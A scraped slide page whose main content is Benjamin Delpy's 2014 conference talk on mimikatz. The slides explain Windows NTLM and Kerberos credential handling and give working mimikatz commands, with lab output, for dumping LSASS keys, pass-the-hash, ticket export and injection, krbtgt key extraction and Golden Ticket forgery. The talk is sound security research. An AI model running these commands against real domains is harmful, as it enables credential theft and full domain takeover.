Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Scott Keck-Warren
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Enterprise Knowledge
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxNavinnSomaal
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024Scott Keck-Warren
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDGMarianaLemus7
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticscarlostorres15106
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 

Recently uploaded (20)

"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024Advanced Test Driven-Development @ php[tek] 2024
Advanced Test Driven-Development @ php[tek] 2024
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
SAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptxSAP Build Work Zone - Overview L2-L3.pptx
SAP Build Work Zone - Overview L2-L3.pptx
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDG
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmaticsKotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
Kotlin Multiplatform & Compose Multiplatform - Starter kit for pragmatics
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 

Passwords#14 - mimikatz

  • 1. mimikatz how to push Microsoft to change some little stuff Benjamin DELPY `gentilkiwi`
  • 2. `whoami` ? Benjamin DELPY - @gentilkiwi – Security researcher at night (it’s not my work) • A French guy with one flashy Tahitian shirt – Per, your country is cold ! – Author of mimikatz • This little program that I wrote to learn C (and that some CISO hates) – Presented at Black Hat, Defcon, PHDays, BlueHat, and more • Despite, my excellent English, yeah – I’m not: • Bachelor, CISSP, CISA, OSCP, CHFI, CEH, ISO*, MCSA, CHFI, PASSI, […] 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 2
  • 3. mimikatz :: sekurlsa LSA ( level) WinLogon LsaSS Authentication msv1_0 kerberos Authentication Packages msv1_0 tspkg wdigest livessp kerberos SAM user:domain:password Challenge Response PLAYSKOOL 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 3
  • 4. mimikatz :: sekurlsa mimikatz read data from SamSs service (known as LSASS process) or from a memory dump! sekurlsa module can retrieve: – MSV1_0 hash & keys (dpapi, others…) – TsPkg password – WDigest password – LiveSSP password – Kerberos password, ekeys, tickets & pin – SSP password And also : – pass-the-hash – overpass-the-hash / pass-the-(e)key • RC4 (ntlm), AES128 & AES256 – pass-the-ticket (official MSDN API !) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 4
  • 5. mimikatz :: sekurlsa for each session Package Symbols Type tspkg tspkg!TSGlobalCredTable RTL_AVL_TABLE wdigest wdigest!l_LogSessList LIST_ENTRY livessp livessp!LiveGlobalLogonSessionList LIST_ENTRY kerberos (nt5) kerberos!KerbLogonSessionList LIST_ENTRY kerberos (nt6) kerberos!KerbGlobalLogonSessionTable RTL_AVL_TABLE msv1_0 lsasrv!LogonSessionList lsasrv!LogonSessionListCount ssp msv1_0!SspCredentialList LIST_ENTRY typedef struct _KIWI_struct { LIST_ENTRY ULONG LUID LocallyUniqueIdentifier; […] LSA_UNICODE_STRING UserName; LSA_UNICODE_STRING Domaine; LSA_UNICODE_STRING Password; […] } KIWI_struct, *PKIWI_struct; lsasrv!LogonSessionList lsasrv!LogonSessionListCount module!symbol search list/AVL for LUID KIWI_struct Credentials in clear ! Key NT 5 Symbols RC4 lsasrv!g_cbRandomKey lsasrv!g_pRandomKey DESx lsasrv!g_pDESXKey lsasrv!g_Feedback Key NT 6 Symbols lsasrv!InitializationVector 3DES lsasrv!h3DesKey AES lsasrv!hAesKey LsaUnprotectMemory 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 5
  • 6. Demo ! A little (it’s a reminder) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 6
  • 7. A little reminder about NTLM authentication LM LSASS (msv1_0) waza 1234/ NTLM (md4) d0e9aee149655a60 75e4540af1f22d3b cc36cf7a8514893e fccd332446158b1a Domain Controller LM LSASS (msv1_0) NTLM (md4) cc36cf7a8514893e fccd332446158b1a cc36cf7a8514893e fccd332446158b1a 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 7
  • 8. A little reminder about Kerberos authentication How does it works ? waza 1234/ LSASS (kerberos) des_cbc_md5 f8fd987fa7153185 rc4_hmac_nt (NTLM/md4) cc36cf7a8514893e fccd332446158b1a aes128_hmac 8451bb37aa6d7ce3 d2a5c2d24d317af3 aes256_hmac 1a7ddce7264573ae1 f498ff41614cc7800 1cbf6e3142857cce2 566ce74a7f25b KDC KDC TGT TGS ③ TGS-REQ ④ TGS-REP ⑤ Usage Administrateur win10 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 8
  • 9. A little reminder about Kerberos authentication RID : 000001f4 (500) User : Administrateur * Primary LM : NTLM : cc36cf7a8514893efccd332446158b1a * Kerberos-Newer-Keys Default Salt : LAB.LOCALAdministrateur Default Iterations : 4096 Credentials aes256_hmac (4096) : b7268361386090314acce8d9367e55f5 5865e7ef8e670fbe4262d6c94098a9e9 aes128_hmac (4096) : 8451bb37aa6d7ce3d2a5c2d24d317af3 des_cbc_md5 (4096) : f8fd987fa7153185 KDC waza 1234/ cc36cf7a8514893e fccd332446158b1a rc4_hmac_nt (NTLM/md4) 20140807054500Z timestamp ① AS-REQ TGT ②AS-REP The KDC will validate the authentication if it can decrypt the timestamp with the long-term user key (for RC4, the NTLM hash of the user password) It issues a TGT representing the user in the domain, for a specified period 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 9
  • 10. A little reminder about Kerberos authentication PAC (MS Specific) RID : 000001f6 (502) User : krbtgt * Primary LM : NTLM : 3f66b877d01affcc631f465e6e5ed449 * Kerberos-Newer-Keys Default Salt : LAB.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd 5c827847ade468d6f6f739eb00c68e42 KDC aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb des_cbc_md5 (4096) : 620eb39e450e6776 Authorization data Microsoft (PAC) Username : Administrateur Domain SID S-1-5-21-130452501-2365100805- 3685010670 User ID 500 Administrateur Groups ID 512 Admins du domaine 519 Administrateurs de l’entreprise 518 Administrateurs du schéma … CHECKSUM_SRV – HMAC_MD5 - krbtgt 3f66b877d01affcc631f465e6e5ed449 CHECKSUM_KDC – HMAC_MD5 - krbtgt 3f66b877d01affcc631f465e6e5ed449 The KDC will create a Microsoft specific structure (PAC) with user information This PAC is signed with the target key, and the KDC key – for a TGT, the target is also the KDC, so it is the same key, 3f66b877d01affcc631f465e6e5ed449 for RC4 – KDC keys are in the krbtgt account 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 10
  • 11. A little reminder about Kerberos authentication TGT RID : 000001f6 (502) User : krbtgt * Primary LM : NTLM : 3f66b877d01affcc631f465e6e5ed449 * Kerberos-Newer-Keys Default Salt : LAB.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 15540cac73e94028231ef86631bc47bd 5c827847ade468d6f6f739eb00c68e42 KDC aes128_hmac (4096) : da3128afc899a298b72d365bd753dbfb des_cbc_md5 (4096) : 620eb39e450e6776 TGT Start/End/MaxRenew: 14/07/2014 00:46:09 ; 14/07/2014 10:46:09 ; 21/07/2014 00:46:09 Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL Target Name (02) : krbtgt ; LAB ; @ LAB.LOCAL Client Name (01) : Administrateur ; @ LAB.LOCAL ( LAB ) Flags 40e10000 : name_canonicalize Authorization ; data Microsoft (PAC) pre_authent ; initial ; renewable Username : ; Administrateur forwardable ; Domain SID Session Key : 0x00000012 S-1-- 5-21-aes256_130452501-2365100805-hmac 3685010670 f3bf2e0e26903703bec6259b400a586f403bbfe3771cb7972b CHECKSUM_SRV – HMAC_MD5 - krbtgt 310b643c5316c8c3c70a10cfb17e2e3 e3c0868cb9cc69 CHECKSUM_KDC – HMAC_MD5 - krbtgt 310b643c5316c8c3c70a10cfb17e2e3 RC4-HMAC – krbtgt 3f66b877d01affcc631f465e6e5ed449 The KDC adds the Microsoft specific PAC to a structure with user’s information This TGT is encrypted with a key shared between all KDC – The RC4 key for the krbtgt account : 3f66b877d01affcc631f465e6e5ed449 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 11
  • 12. Windows Kerberos What can we do with multiple sessions in memory? – On a terminal server by example ;) waza 1234/ LSASS (kerberos) des_cbc_md5 f8fd987fa7153185 rc4_hmac_nt (NTLM/md4) cc36cf7a8514893e fccd332446158b1a aes128_hmac 8451bb37aa6d7ce3 d2a5c2d24d317af3 aes256_hmac 1a7ddce7264573ae1 f498ff41614cc7800 1cbf6e3142857cce2 566ce74a7f25b KDC KDC TGT TGS ③ TGS-REQ ④ TGS-REP ⑤ Usage Administrateur win10 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 12
  • 13. Windows Kerberos Keys… .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48) .## ^ ##. ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 15 modules * * */ mimikatz # privilege::debug Privilege '20' OK mimikatz # sekurlsa::ekeys Authentication Id : 0 ; 142976 (00000000:00022e80) Session : Interactive from 1 User Name : Administrator Domain : LAB SID : S-1-5-21-2929287289-1204109396-1883388597-500 * Username : Administrator * Domain : LAB.LOCAL * Password : waza1234/ * Key List : aes256_hmac 1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b aes128_hmac a62abee318bc8877b6d402bde49ddd61 rc4_hmac_nt cc36cf7a8514893efccd332446158b1a rc4_hmac_old cc36cf7a8514893efccd332446158b1a rc4_md4 cc36cf7a8514893efccd332446158b1a rc4_hmac_nt_exp cc36cf7a8514893efccd332446158b1a rc4_hmac_old_exp cc36cf7a8514893efccd332446158b1a 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 13
  • 14. Windows Kerberos Overpass-the-hash With a RC4 key (NTLM hash !) LSASS (kerberos) des_cbc_md5 rc4_hmac_nt (NTLM/md4) cc36cf7a8514893e fccd332446158b1a aes128_hmac aes256_hmac KDC KDC TGT TGS ③ TGS-REQ ④ TGS-REP ⑤ Usage cc36cf7a8514893e fccd332446158b1a 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 14
  • 15. Windows Kerberos Overpass-the-hash With an AES key (linked to the password too) LSASS (kerberos) des_cbc_md5 rc4_hmac_nt (NTLM/md4) aes128_hmac aes256_hmac KDC KDC TGT TGS ③ TGS-REQ ④ TGS-REP ⑤ Usage 1a7ddce7264573ae 1f498ff41614cc78 001cbf6e3142857c ce2566ce74a7f25b 1a7ddce7264573ae1f 498ff41614cc78001c bf6e3142857cce2566 ce74a7f25b 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 15
  • 16. Windows Kerberos Overpass-the-hash mimikatz # sekurlsa::pth /user:Administrator /domain:LAB.LOCAL /rc4:cc36cf7a8514893efccd332446158b1a user : Administrator domain : LAB.LOCAL program : cmd.exe NTLM : cc36cf7a8514893efccd332446158b1a | PID 3632 | TID 3924 | LUID 0 ; 442172 (00000000:0006bf3c) _ msv1_0 - data copy @ 00B30F54 : OK ! _ kerberos - data copy @ 00BC5C18 _ aes256_hmac -> null _ aes128_hmac -> null _ rc4_hmac_nt OK _ rc4_hmac_old OK _ rc4_md4 OK _ rc4_hmac_nt_exp OK _ rc4_hmac_old_exp OK _ *Password replace -> null mimikatz # sekurlsa::pth /user:Administrator /domain:LAB.LOCAL /aes256:1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b user : Administrator domain : LAB.LOCAL program : cmd.exe AES256 : 1a7ddce7264573ae1f498ff41614cc78001cbf6e3142857cce2566ce74a7f25b | PID 2120 | TID 2204 | LUID 0 ; 438984 (00000000:0006b2c8) _ msv1_0 - data copy @ 00B2936C : OK ! _ kerberos - data copy @ 00BC5A68 _ aes256_hmac OK _ aes128_hmac -> null _ rc4_hmac_nt -> null _ rc4_hmac_old -> null _ rc4_md4 -> null _ rc4_hmac_nt_exp -> null _ rc4_hmac_old_exp -> null _ *Password replace -> null 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 16
  • 17. Windows Kerberos What else? waza 1234/ LSASS (kerberos) des_cbc_md5 f8fd987fa7153185 rc4_hmac_nt (NTLM/md4) cc36cf7a8514893e fccd332446158b1a aes128_hmac 8451bb37aa6d7ce3 d2a5c2d24d317af3 aes256_hmac 1a7ddce7264573ae1 f498ff41614cc7800 1cbf6e3142857cce2 566ce74a7f25b KDC KDC TGT TGS ③ TGS-REQ ④ TGS-REP ⑤ Usage Administrateur win10 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 17
  • 18. Windows Kerberos Tickets… mimikatz # sekurlsa::tickets /export Authentication Id : 0 ; 963494 (00000000:000eb3a6) Session : Interactive from 2 User Name : Administrator Domain : LAB SID : S-1-5-21-2929287289-1204109396-1883388597-500 […] Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Service Name (02) : cifs ; dc.lab.local ; @ LAB.LOCAL […] Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 13d5f91632296f1d2bc658793ffc458f7abac80ef062aa908359f7eaa1f9b946 Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...] * Saved to file [0;eb3a6]-0-0-40a50000-Administrator@cifs-dc.lab.local.kirbi ! [00000001] Start/End/MaxRenew: 19/11/2014 03:00:13 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Service Name (02) : ldap ; dc.lab.local ; @ LAB.LOCAL […] Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac e4a2150bec28971ce4100c21462c34cf194a0d896ef09caf8c126a397d11a4a0 Ticket : 0x00000012 - aes256_hmac ; kvno = 3 [...] * Saved to file [0;eb3a6]-0-1-40a50000-Administrator@ldap-dc.lab.local.kirbi ! Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Service Name (02) : krbtgt ; LAB.LOCAL ; @ LAB.LOCAL […] Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 7f75a0085ce638ff7dc43c1ee11f8d478f8ff1e4c863769f95f390223cebdc1a Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;eb3a6]-2-1-40e10000-Administrator@krbtgt-LAB.LOCAL.kirbi ! 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 18
  • 19. Windows Kerberos Pass-the-ticket With TGT, to obtain some TGS… LSASS (kerberos) des_cbc_md5 rc4_hmac_nt (NTLM/md4) aes128_hmac TGT aes256_hmac ⑤Usage KDC KDC TGT TGS ③ TGS-REQ ④ TGS-REP 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 19
  • 20. Windows Kerberos Pass-the-ticket With one TGS (or more…) LSASS (kerberos) des_cbc_md5 rc4_hmac_nt (NTLM/md4) aes128_hmac TGS ⑤Usage aes256_hmac KDC KDC TGS ③ TGS-REQ ④ TGS-REP 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 20
  • 21. Windows Kerberos Pass-the-ticket .#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Nov 17 2014 00:53:48) .## ^ ##. ## / ## /* * * ## / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 15 modules * * */ mimikatz # kerberos::ptt krbtgt.kirbi cifs.kirbi 0 - File 'krbtgt.kirbi' : OK 1 - File 'cifs.kirbi' : OK mimikatz # kerberos::list [00000000] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 19/11/2014 03:00:12 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Server Name : krbtgt/LAB.LOCAL @ LAB.LOCAL Client Name : Administrator @ LAB.LOCAL Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; [00000001] - 0x00000012 - aes256_hmac Start/End/MaxRenew: 19/11/2014 03:00:52 ; 19/11/2014 13:00:12 ; 26/11/2014 03:00:12 Server Name : cifs/dc.lab.local @ LAB.LOCAL Client Name : Administrator @ LAB.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; mimikatz # kerberos::ptt tickets 0 - Directory 'tickets' (*.kirbi) 0 - File '[0;eb3a6]-0-0-40a50000-Administrator@cifs-dc.lab.local.kirbi' : OK 1 - File '[0;eb3a6]-0-1-40a50000-Administrator@ldap-dc.lab.local.kirbi' : OK 2 - File '[0;eb3a6]-2-1-40e10000-Administrator@krbtgt-LAB.LOCAL.kirbi' : OK 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 21
  • 22. Demo ! 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 22
  • 23. NTLM vs Pass-the-Hash Normal Kerberos vs Overpass-the-Hash/Pass-the-Ticket Normal 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 23
  • 24.
  • 25. Golden Ticket A “Golden Ticket”, is a homemade ticket –It’s done with a lot of love –… and a key It’s not made by the KDC, so : –it’s not limited by GPO or others settings ;) –you can push whatever you want inside! –it’s smartcard independent (sorry CISO !) A “Silver Ticket” is also a kind of Golden Ticket ;) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 25
  • 26. Golden Ticket The entire Kerberos (domain) security relies on poor little symmetric keys under “krbtgt” account – 128 bits for RC4/AES128 – 256 bits for AES256 and CISO give lessons to PKI Team about their 2048b RSA key? Once generated, these keys never change for…. years… –Only changes during domain functional upgrade – 2000/2003 to 2008/2012 • 2008 -> 2012 doesn’t change the value • the previous one (n-1) still valid… and CISO give lessons to PKI Team about: – renew certificates (with keys) periodically? – revocation? 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 26
  • 27. Golden Ticket From Will (@harmj0y): certainly a lab, certainly not a real life example, for sure… – https://twitter.com/harmj0y/status/52063380548565 4018 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 27
  • 28. Golden Ticket If krbtgt hash/keys lost – Domain dump • Password audit (legitimate use case) • Poorly redacted pentest report – yeah, really, this 502/krbtgt was a disabled account never used after all? – Other • Compromise, evil cat File backup of the domain controller – Shadow copy trick – Recovery of backup tapes or access to backup file share Compromise of virtual machine infrastructure – Copy the drive image or a snapshot of the image 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 28
  • 29. Golden Ticket You can get “krbtgt” keys on a DC with mimikatz or other tools mimikatz # lsadump::lsa /name:krbtgt /inject Domain : LAB / S-1-5-21-2929287289-1204109396-1883388597 RID : 000001f6 (502) User : krbtgt * Primary LM : NTLM : 3f66b877d01affcc631f465e6e5ed449 * WDigest 01 a68990164b4dfefa47c2e998f19eb74c […] 29 75af20f460c10096e5ce62527ffe9c96 * Kerberos Default Salt : LAB.LOCALkrbtgt Credentials des_cbc_md5 : 62b915a4a1629861 * Kerberos-Newer-Keys Default Salt : LAB.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 466d9a5b9bc33cbfd566d5ad7635aedf7442f10116a68051a27fb53bbba3a19f aes128_hmac (4096) : 6dcc65d95e6f00cbedb65cc0892a5085 des_cbc_md5 (4096) : 62b915a4a1629861 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 29
  • 30. Golden Ticket Even Microsoft was a little bit curious about their own AD at our talk at BlueHat – https://twitter.com/JohnLaTwC/status/521061512203345920 Yeah, they have a funky monitoring… Btw, real command line is : – net user krbtgt /domain Do you know why MS don’t renew this account automatically ? or did not publish a recommendation to periodically renew krbtgt ? – In most cases, it works… – … most cases 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 30
  • 31. Golden Ticket krbtgt hash can be used to generate arbitrary TGTs for use –Can make user a member of any group, even make it multiple users! • Even users and SIDs that do not exist – TGTs will only work for 20 minutes to get service tickets (however any service tickets will be good for 10 hours by default) • Any account can create / used spoofed ticket, doesn’t require elevated rights –Can be used to bypass account restrictions • Disabled / expired • Authentication silos • “protected users” group is just a group SID in the TGT –Create a trail of false events • Incident handlers rely on event logs • Easy to frame another user 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 31
  • 32. mimikatz :: Golden Ticket kerberos::golden /domain:lab.local <= domain name /sid:S-1-5-21-2929287289-1204109396-1883388597 <= domain SID /rc4:3f66b877d01affcc631f465e6e5ed449 <= NTLM/RC4 of KRBTGT (or AES, ofc) /user:Administrator <= username you wanna be /id:500 <= RID of username (500 is THE domain admin) /groups:513,512,520,518,519 <= Groups list of the user (be imaginative) /ticket:Administrator.lab.kirbi <= the ticket filename (or /ptt) 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 32
  • 33. PAC Signature - BlackHat erratum At BlackHat/Defcon, Skip Duckwall and I announced that to forge a TGS, we need 2 keys – krbtgt key – target key The krbtgt is needed to sign the PAC, to avoid alterations – How a remote service can check a signature without the Key ? • Remember ? Kerberos is SYMETRIC – Easy: it delegates PAC checks to the KDC… • It looks like NTLM and not very efficient, no? 09/12/2014 Benjamin DELPY `gentilkiwi` @ Passwords 2014 benjamin@gentilkiwi.com ; blog.gentilkiwi.com 33
